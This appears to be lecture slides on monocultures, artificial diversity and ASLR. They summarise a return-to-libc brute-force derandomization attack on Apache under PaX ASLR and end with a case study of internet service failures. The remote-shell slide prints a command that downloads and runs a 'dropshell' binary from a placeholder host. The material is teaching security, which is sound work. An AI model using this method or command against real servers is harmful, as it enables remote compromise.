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Definitions 
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 Obfuscation: 

 To be evasive, unclear, or confusing* 

 In context, this means making a system difficult to understand 

and analyze 

 

 Diversity: 

 The condition of having or being composed of differing 

elements* 

 Different applications, patch levels, hardware 

 

*Definitions from Merriam-Webster 



Why are these relevant? 
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 Security! 

 Obfuscation 

 It is much harder to break into something you don’t 

understand 

 

 Diversity 

 Virus propagation is inhibited by substantial differences 

between platforms 



Monoculture 
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 A collection of identical computing systems 

 Hardware 

 Operating system 

 Applications 

 Identical versions, patches, configuration, etc. 

 Why monocultures? 

 Interoperability 

 Ease of use/management 

 Significantly less expensive 

 Widely adopted standards 

 Virtualization 

 



Monocultures – Security? 
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 In a modern data center employing virtualization, each 

node is: 

 Running the exact same binaries 

 Using the exact same hardware 

 Configured exactly the same way 

 

 What happens when an adversary tries to exploit a 

vulnerability in the system? 

 Virus 

 Malicious user 

 



PANIC!!1! 
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 Soon, consolidated systems will be the only realistic 

option for large scale enterprises 

 Google, Microsoft, Facebook, etc. 

 Government 

 Infrastructure 

 Power grid, transportation, water, communication 

 

 …and it will take only a single exploit to bring down ALL 

of them 

 Okay, maybe more than one, but you get the idea 



Classification of Attacks 
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 Configuration attacks 

 

 Technology attacks 

 

 Trust attacks 



Configuration Attacks 
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 Hackers will always go for the easiest target 

 Misconfigured software is akin to leaving the door wide 

open 

 No exploit development required 

 Examples: 

 Factory default settings 

 Administrative oversights/mistakes 



Configuration Error – Another example 
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 Cat + GPS + WiFi sniffer = 

 People still use WEP…  

 (default router configuration) 



Monocultures and Configuration Errors 
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 Single or limited configuration for all nodes 

 Highly trained staff can come up with a robust and well-

understood solution 

 Reduces configuration vulnerabilities 

 Ensures compatibility  

 

 Drawbacks 

 Users cannot customize their environment 

 Set of verified programs may be small 

 If there is a mistake in the global configuration, an attacker can 

compromise every system 



Technology Attacks 
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 Exploit programming errors or design vulnerabilities on 

the target system 

 Buffer Overflows 

 Logic errors 

 Unintended side effects 

 0-day exploits 

 Every large piece of software has bugs 

 This includes operating systems and applications we use on a daily 

basis 

 ―0 days‖ refers to the fact the developer has had no time to fix 

the previously unknown flaw before it is used in an attack 

 



Tech Attacks in Monocultures 
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 Two separate problems 

 Defending a single platform 

 Defending all platforms in the network 

 Artificial diversity addresses both issues 

 Take arbitrary applications and transform them WITHOUT 

changing or hindering their functionality 

 Randomization 

 Attacker no longer has exact knowledge of the binary being 

targeted 

 

 



What and How Can We Randomize? 
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 The most widespread method in use today is ASLR 

 Implemented at the OS level 

 Vista, OSX, several Linux distributions 

 Basic idea: when a program is loaded into memory, randomize 

the offsets of its various sections (stack, heap, text, libraries) 

 Other ideas: 

 Permute program code 

 Done at compile time or with binary rewriters 

 Change system call numbers on a per platform basis 

 Use different libraries on different platforms 

 Many, many more… 



Trust attacks 
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 Diversity (including randomization) increases the number 

of attacks that can compromise some part of the system 

 

 How can we protect against a single compromised node? 

 Decompose network into subnets or enclaves 

 Fine-grain authorization protocol to limit interaction between 

nodes 



Monocultures - Conclusion 
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 Breaking into systems is easy 

 It is simply not possible to defend against all attacks 

 Developers can’t catch all bugs 

 Legacy code  

 Plethora of tools available to hackers and exploit developers 

 Artificial diversity and obfuscation go a long way towards 

mitigating technology attacks 

 How do we measure effectiveness and attacker effort? 

 Designed to defeat known attacks 

 We won’t know its broken until someone breaks it 



Derandomization Attack - Background 
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 Buffer overflow exploit to hijack control of the program 

 Because of W⊕X, modern attacks are all code reuse 

attacks 

 Return-to-libc 

 Loaded into every program 

 Encapsulates system call API 

 Return Oriented Programming (ROP) 

 

 Attacker needs to know the virtual addresses of the code 

he plans to reuse 

 Must derandomize code to deploy a working exploit 



PaX ASLR – 32 Bit System 
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 Randomness: 

 

 

 

 Executable contains code 

 Mapped contains the heap and libraries 

Executable Mapped Stack 

16 bits 16 bits 24 bits 

65,536 65,536 16,777,216 



Attack - Overview 
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 Return-to-libc attack 

 Created a vulnerability in their copy of Apache 

 Modeled after a known buffer overflow in an Oracle SQL 

module (strcpy to a fixed size buffer) 

 Does not require knowledge of stack addresses 

 The randomization does not change stack layout 

 Step 1: Brute force the offset of the mapped region 

 delta_mmap, 16 bits 

 Step 2: Use this offset to find and call system() to obtain 

a remote shell 



Attack – Brute Force 
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 Precompute the offset of usleep(), system(), and a ret 

instruction in the libc library 

 Repeatedly send exploits with guesses for the address of 

the usleep() function 

 On failure: 

 The process will crash and Apache will fork a new listener child 

 All children inherit the randomized offsets of their parents 

 As a result, the connection terminates immediately 

 On success: 

 The connection will hang for 16 seconds before terminating 



Brute force - Payload 
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 Saved EIP overwritten with guess at usleep()  

 Argument to usleep() is 0x01010101 

 Smallest number that avoids null bytes 

 Return address is 0xDEADBEEF 

 Will crash the program on return if our guess didn’t already 



Remote Shell Payload 
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 Write the shell command into the buffer 

 wget http://www.example.com/dropshell;  chmod +x dropshell; ./dropshell 

 Chain address of ret instruction to eat up stack space 

 Necessary to obtain a pointer into the buffer as an argument 

 Address of system() one byte before the pointer 

 



Results 
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 Attacking machine: 

 2.4 GHz Pentium 4 

 Server: 

 Athlon 1.8 GHz 

 150 child processes 

 100 Mbps network connection 

 Each probe is around 200 bytes total (including packet 

headers) 

 12.8 MB of exploit payloads in the worst case 

 Time in seconds to exploit success 
Min Max Average 

29 810 216 



Possible Improvements to ASLR 
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 Rerandomization 

 Gains only a single bit of expected trials 

 Fine-grain randomization 

 Not useful against guessing the address of a single function 

unless more bits of entropy can be provided 

 Watcher daemons to monitor crashes 

 Attack then becomes denial of service 

 64 bit architecture – larger address space 

 At least 40 bits of entropy – brute force infeasible 



Other notes on ASLR 
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 Information leakage attacks can bypass ASLR 

 Buffer overflow mitigation techniques will protect against 

these attacks with or without ASLR 

 There are attacks against these as well… 

 64 bit architecture seems like the best solution 

 But what about 32 bit legacy programs running in compatibility 

mode? 

 Better ASLR systems exist 

 But they often incur significant performance penalties 

 Diversity does not solve the problem, but it does require 

additional attacker effort to overcome 



Why Internet Services Fail 
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 A case study of 3 large scale internet services 

 Online:  an online service and internet portal 

 Content:  a global content hosting service 

 ReadMostly:  a read-mostly internet service 

 Identify 

 Which components are most failure prone 

 Which failures have the highest time to repair (TTR) 

 Examine mitigation techniques 

 Component failure is a failure of any part of the system 

 Service failure is a user-visible failure 



Services - Details 
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 All are hosted in geographically distributed collocation facilities 

 All have a load balancing tier, a front-end, and a back-end (data storage) 

 Front end software is all custom written 

 ReadMostly and Content have custom back-end software 

 No access to data for component failures that did not result in service 
failures for ReadMostly 



Architecture – Content and ReadMostly 
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Architecture - Online 
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Redundancy 
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 All three services use redundancy to mask component 

failures 

 Good at preventing hardware, software, and network 

failures from becoming service failures 

 Not as effective in masking operator error 



Service Failure by Location 
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 Large percentage of front end failure attributed to 

configuration errors 

 Configuration errors make up the vast majority of operator 

error 

 ReadMostly has mostly network related service failures 

 Better software testing 

 Fewer changes to the service 

 More redundancy 

 Network failure is difficult  

    to mask 



Service Failure by Component 
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 Note operator error is significant in all three 



Time To Repair (TTR) 
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 Defined as the time between the detection of a service 

failure to the time to return to pre-failure service quality 

 

 TTR does not take into account the priority assigned to 

the repair by the operator 



More TTR 
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Mitigation Techniques 
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 Correctness testing 

 Online and offline 

 Redundancy 

 Fault injection and load testing 

 Test system response to adverse conditions 

 Configuration checking 

 Component Isolation 

 Prevent cascading failures 

 Scheduled reboots 

 Prevents latent errors from causing a failure 

 



Effectiveness and Cost (Online) 
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More Detailed Case Studies 
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 Operator error brought down half of the front end 

servers for a user group 

 No backup control path for power supplies 

 Front-end upgrade changed the format of alias lookup 

 Continual retires resulted in overloading a back-end database 

 Online testing and better isolation needed 

 Misconfigured software silently dropping messages 

 Online testing and higher error visibility 

 3rd party configuration change 

 Poor communication between Online and an external service 

provider made diagnosis difficult 



Conclusion 
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 The operator is often overlooked in system design 

 Operator error contributes the most towards visible service 

failure 

 How do we correct for this? 

 Better interfaces and tools 

 Automated configuration checking 

 Is a standardized, global failure data repository a feasible 

idea? 

 More importantly, would tech companies actually use it? 
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